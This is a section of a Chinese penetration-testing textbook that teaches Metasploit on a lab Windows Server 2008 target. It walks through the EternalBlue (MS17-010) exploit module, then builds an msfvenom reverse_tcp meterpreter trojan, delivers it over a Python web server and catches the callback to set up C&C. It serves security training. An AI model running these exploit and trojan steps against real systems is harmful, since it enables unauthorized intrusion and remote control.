内网渗透技术
上QQ阅读APP看书,第一时间看更新

1.1 任务一:Metasploit Framework的使用

1.1.1 任务概述

Metasploit Framework(后文简称为MSF)是一个开源的渗透测试框架,在内网渗透中,它也可以作为C&C服务器使用。在本任务中,目标Windows靶机存在“永恒之蓝”漏洞(MS17-010),小白需要使用MSF对目标靶机进行漏洞利用,最终获取目标靶机服务器权限并建立C&C连接。此外,也可以使用msfevnom工具生成木马文件,从而建立C&C连接。

1.1.2 任务分析

MSF中集成了“永恒之蓝”漏洞的利用模块,可以直接调用该模块获取服务器权限。

在利用漏洞之前,需要对目标靶机进行端口探测,因为“永恒之蓝”漏洞针对Windows操作系统的SMB服务进行攻击,而Windows操作系统的SMB服务默认开放在445端口上,所以可以使用Nmap工具来确认目标靶机是否开放了SMB服务。

在漏洞利用完成后,攻击者会获取目标服务器权限并建立C&C连接,从而对目标服务器进行持续控制。

如果要通过使用msfevnom工具生成木马文件的形式来建立C&C连接,那么需要解决恶意文件的问题。因为Linux攻击机自带Python环境,所以可以使用SimpleHTTPServer模块开启Web服务来传输恶意文件。

1.1.3 相关知识

1.MSF的基础知识

MSF提供了一个编写、测试和使用exploit代码的环境。这个环境为渗透测试、shellcode编写和漏洞研究提供了一个可靠的平台,这个框架主要是由面向对象的Ruby语言编写而成,同时包含由C语言、汇编语言和Python编写的可选组件。

如果要使用MSF实施漏洞利用等操作,需要在操作系统中安装该工具。MSF支持在Windows和Linux操作系统中进行安装,另外Kali Linux操作系统也集成了该工具,可以直接调用。

2.“永恒之蓝”漏洞

“永恒之蓝”(Eternal Blue)是一种利用Windows操作系统的SMB协议漏洞来获取系统的最高权限的漏洞,从而控制被入侵的计算机。SMB是一个协议名,它能被用于Web连接和客户端与服务器之间的信息沟通。通过SMB协议,客户端应用程序可以在各种网络环境下读、写服务器上的文件,以及对服务器程序提出服务请求。此外通过SMB协议,应用程序可以访问远程服务器中的文件、打印机、邮件槽(mailslot)、命名管道等资源。而“永恒之蓝”则通过TCP端口(445端口和139端口)来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无须用户进行任何操作,只要开机上网,不法分子就能在计算机和服务器中进行一系列的危险操作,如远程控制木马、获取最高权限等。

3.meterpreter

meterpreter是MSF中的一种特殊会话,可以快捷调用MSF中的一些功能,对目标系统进行更深入的渗透。这些功能包括清除渗透痕迹、本机信息收集、搭建网络代理、跳板攻击等。为了保持meterpreter的存活状态,受害主机会定时发送心跳包到MSF中。

4.msfevnom

msfevnom是MSF的攻击载荷(payload)生成器,它允许使用者生成shellcode、可执行代码和其他恶意代码。其中,shellcode支持非常多的编程语言,包括C、JavaScript、Python、PHP等,可在不同渗透场景中使用。在msfevnom生成恶意代码后,可以配合MSF中的监听模块实现C&C远控操作。

1.1.4 工作任务

打开Windows Server 2008靶机,在Linux攻击机的桌面中,单击左上角的“Terminal Emulator”打开终端,如图1-1所示。

图1-1 打开终端

在打开的终端中输入以下命令,通过Nmap对目标主机进行端口探测,其中的靶机IP为开启的Windows Server 2008靶机的IP地址,如图1-2所示。

nmap -sV 靶机IP

图1-2 Nmap 工具

Nmap工具在指定了“-sV”参数后,会探测开放端口以确定服务/版本信息。等待一段时间探测完毕后,Nmap执行结果如图1-3所示,可以确定SMB服务是否开放。

图1-3 Nmap 执行结果

证明靶机开放了SMB服务后,在终端中输入msfconsole命令并按下回车键,开启MSF,如图1-4所示。

图1-4 开启MSF

在MSF终端状态下输入以下命令,搜索MS17-010漏洞相关模块,如图1-5所示。

msf6 > search ms17-010

当读者不清楚要使用具体哪个模块时,可以使用search命令加上漏洞关键字(漏洞编号、漏洞攻击方式、漏洞利用服务等)来搜索漏洞模块,对于每一条搜索结果,从左至右的字段分别是:数字下标(从0开始)、模块名称、披露日期、模块对应漏洞的严重级别、是否支持检查方法、模块简述。

在使用search命令搜索漏洞模块以后,可以使用下标的方式进行模块的使用,以图1-5中的模块为例,可以使用“use 0”或“use exploit/windows/smb/ms17_010_eternalblue”这两种方式调用该模块。

图1-5 搜索MS17-010漏洞相关模块

如果读者通过搜索结果中的模块简述还是无法判断该模块的作用,那么可以使用info命令来查看模块的具体描述、需要设置的参数、支持的测试目标、参考链接等信息,如图1-6所示,从而进一步了解某一模块的作用。另外,info命令也支持采用下标的形式指代某一模块。

msf6 > info 0

图1-6 查看模块的信息

在使用search命令和info命令后,读者就会对模块的作用有所了解,在明确了使用哪一个模块以后,就可以使用use命令调用该模块,本次任务需要调用的模块为exploit/windows/smb/ ms17_010_eternalblue,如图1-7所示。

msf6 > use exploit/windows/smb/ms17_010_eternalblue

图1-7 调用MS17-010漏洞利用模块

在选取好模块后,需要设置模块的参数,输入以下命令可以查看当前模块所需设置的参数,如图1-8所示。

msf6 > options

图1-8 查看当前模块所需设置的参数

当前模块存在三部分选项,分别是模块选项(Module options)、攻击载荷选项(Payload options)和利用目标(Exploit target),前两部分选项的结构相同,从左至右的字段分别是名称(Name)、当前设置(Current Setting)、是否必需(Required)和描述(Description)。

设置参数的原则是必须填充“Required”字段为“yes”的选项,以图1-8为例,“RHOSTS”选项的“Required”字段为“yes”,但“Current Setting”字段为空,因此必须使用set命令来给该选项赋值才能运行该模块。“RHOSTS”选项在MSF中非常常见,用于指定模块攻击的目标主机,一般用目标主机的IP地址进行填充。另外,“RPORT”选项在MSF中也非常常见,用于指定模块攻击的端口。因为MS17-010漏洞的攻击对象是Windows操作系统的SMB服务,所以默认填充了445端口,当目标主机的SMB服务开放在其他端口时,需要使用set命令对“RPORT”选项重新赋值。

攻击载荷选项中比较常见的设置有“LHOST”选项和“LPROT”选项,它们的作用是指定开启监听的主机(一般是使用MSF的主机)的IP地址和开启监听的端口。攻击载荷选项如图1-9所示。

图1-9 攻击载荷选项

在使用options命令确认了必须设置的选项后,输入命令设置选项,设置完成后输入run命令运行漏洞利用模块,如图1-10所示。

msf6 > set rhosts 靶机IP
msf6 > run

图1-10 设置完成后运行漏洞利用模块

在漏洞利用过程中MSF会输出爆破日志,攻击成功界面如图1-11所示,会输出“WIN”字样并接收到一个MSF中的特殊会话“meterpreter”。

图1-11 攻击成功界面

在进入meterpreter终端后可以输入以下命令,查看meterpreter会话中可执行的命令,如图1-12所示。

?

图1-12 查看可执行的命令

如果在meterpreter状态下想要调用其他模块,就需要先退出该会话,直接使用exit命令会导致会话关闭,在这个时候可以使用以下命令来挂起本次会话,如图1-13所示。

background

图1-13 挂起本次会话

在MSF终端下,如果想要将挂起的会话还原,那么可以使用sessions命令,如图1-14所示。

sessions
sessions <session Id>

图1-14 还原挂起的会话

在已知session Id的情况下,可以直接使用第二条命令返回会话状态,第一条命令在挂起多个会话时可以列出所有后台挂起的会话。

在meterpreter终端状态下,可以使用以下命令查看当前会话的服务器运行权限,如图1-15所示。

getuid

图1-15 查询当前会话的服务器运行权限

通过返回信息可以判断,当前会话的服务器获取了Windows操作系统的SYSTEM权限。

以上就是通过“永恒之蓝”漏洞获取受害主机权限并和MSF建立起C&C连接的过程,除了使用漏洞方式和受害主机建立连接,还可以通过植入木马来控制受害主机。

在Linux攻击机的桌面中,单击左上角的“Terminal Emulator”打开终端,输入以下命令生成木马文件,如图1-16所示。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=攻击机IP地址 -f exe > shell.exe

图1-16 生成木马文件

生成恶意文件的msfvenom命令格式展示如下:

msfvenom -p <payload type> <payload options> -f <format> > xxx.xxx

“-p”参数用于指定攻击载荷的类型和攻击载荷的选项,msfvenom可指定的攻击载荷和MSF一致,也可以通过以下命令查看可选的攻击载荷及其描述,如图1-17所示。

msfvenom -l payload

图1-17 查看可选的攻击载荷及其描述

通过命令查看某一攻击载荷的选项,如图1-18所示,包含基础选项(Basic options)、进阶选项(Advanced options)和规避选项(Evasion options)。

图1-18 查看某一攻击载荷的选项

  通过图1-18可以发现,如果要生成windows/x64/meterpreter/reverse_tcp模块的恶意文件,就必须设置“LHOST”选项,这与在MSF中使用某一模块的逻辑一致,需要填充“Required”字段为“yes”的选项。另外还有一个比较重要的选项是“LPORT”,默认填充值为“4444”。如果遇到该端口被占用的情况,就需要重新指定该选项。

在生成了恶意的exe文件后,需要将该恶意文件传输至受害主机中,并运行该恶意文件。在之前生成恶意文件的终端下输入以下命令,开启一个Web服务器用于传输该恶意文件,如图1-19所示。

python -m SimpleHTTPServer 80

图1-19 开启Web服务

登录进入Windows Server 2008靶机,在桌面状态下,单击左下角的“开始”按钮,然后单击“Internet Explorer”,打开IE浏览器,如图1-20所示。

图1-20 打开IE浏览器

在IE浏览器的地址栏中输入并访问攻击机的IP地址,可以访问到攻击机基于Python开启的Web服务,然后找到生成的恶意文件“shell.exe”,并下载该恶意文件,如图1-21所示。

图1-21 下载恶意文件

因为Windows Server 2008操作系统自带安全策略,所以需要将攻击机开启的Web服务添加到信任名单中。在弹出的警告框中单击“添加”按钮,然后在可信站点中单击“添加”,添加可信站点如图1-22所示。

图1-22 添加可信站点

然后重新单击木马文件“shell.exe”进行下载,在下载弹框中单击“保存”按钮,如图1-23所示,保存到“下载”目录中。

图1-23 保存恶意文件

成功将恶意文件传输至受害机后回到Linux攻击机,打开终端并输入命令进入MSF,使用与msfevnom工具配套的监听模块,如图1-24所示。

msf6 > use exploit/multi/handler

图1-24 使用监听模块

在选取好模块后,需要设置攻击载荷、开启监听的主机IP地址,攻击载荷要和生成的木马文件所使用的攻击载荷一致。如果在生成恶意木马文件时指定了“LPORT”参数,那么需要在本模块中使用set命令设置该选项。在参数设置完成后,可以输入run命令来运行监听模块,如图1-25所示。

msf6 > set payload windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 攻击机IP
msf6 > run

图1-25 运行监听模块

模块运行后就会开启攻击机的4444端口的监听并准备接受信息,在该状态下重新回到Windows Server 2008靶机中,双击打开并运行恶意文件shell.exe,如图1-26所示。

图1-26 运行恶意文件

在成功运行恶意文件后返回Linux攻击机,发现接收到受害主机的meterpreter会话,如图1-27所示,证明建立了C&C连接。

图1-27 接收到受害主机的meterpreter会话

1.1.5 归纳总结

本次任务旨在教会读者如何通过MSF渗透工具建立C&C连接,包括通过漏洞攻击和利用msfevnom工具生成木马文件并执行上线两种方式。MSF中的攻击载荷模块决定了漏洞利用或恶意代码的效果,其中meterpreter相关的攻击载荷在运行成功后,会在受害主机上打开一个通道并返回一个MSF中的特殊会话meterpreter。

1.1.6 提高拓展

本任务通过Python开启了Web服务(用于文件传输的通道),这在内网渗透中非常常用。此外,在获取meterpreter的情况下,也可以直接使用命令将文件上传至受害主机中。

参照本任务中利用“永恒之蓝”漏洞获取受害靶机meterpreter的步骤,先进入meterpreter终端,然后参照本任务中利用msfevnom工具生成木马文件的步骤生成木马文件“shell.exe”。

先确认木马文件的具体攻击路径,可以使用ls命令查看当前目录下的文件。在确认“shell.exe”文件存在的情况下,使用pwd命令查看当前路径名称,如图1-28所示。

ls
pwd

图1-28 查看当前目录下的文件和当前路径名称

通过pwd命令的执行结果,获取木马文件的路径为/root/shell.exe,在meterperter终端下使用命令将木马文件传输到受害主机上,如图1-29所示。

meterpreter > upload 文件源地址 文件目的地址

图1-29 将木马文件传输到受害主机上

通过upload命令传输文件时需要注意,如果传输的对象是Windows操作系统,那么需要将文件分隔符“\”变为“/”,例如将“C:\Windows\Temp”目录转换为“C:/Windows/Temp”。

上传完成后,可以参照本任务中对监听模块的使用,开启监听端口,如图1-30所示。

图1-30 开启监听端口

在Windows Server 2008靶机中,用鼠标左键双击打开并运行恶意文件“shell.exe”,如图1-31所示,注意木马文件的路径为“C:/ Windows/Temp/shell.exe”。

图1-31 打开并运行木马文件

成功运行恶意文件后,返回Linux攻击机,发现接收到受害主机的meterpreter会话,如图1-32所示,这就证明已经建立了C&C连接。

图1-32 接收到受害主机的meterpreter会话

1.1.7 练习实训

在本书的练习实训部分,我们会用△、△△和△△△来表示习题的不同难度。△代表简单,△△代表一般,△△△代表困难。

一、选择题

△1.MSF的开发语言是(  )。

  A.C 

  B.Python 

  C.Java 

  D.Ruby

△2.MSF的攻击载荷模块对应的是(  )。

  A.exploit 

  B.auxiliary 

  C.payload 

  D.evasion

二、简答题

△1.请举例使用MSF建立C&C连接的方法。

△△2.请简述对“永恒之蓝”漏洞进行利用的前提。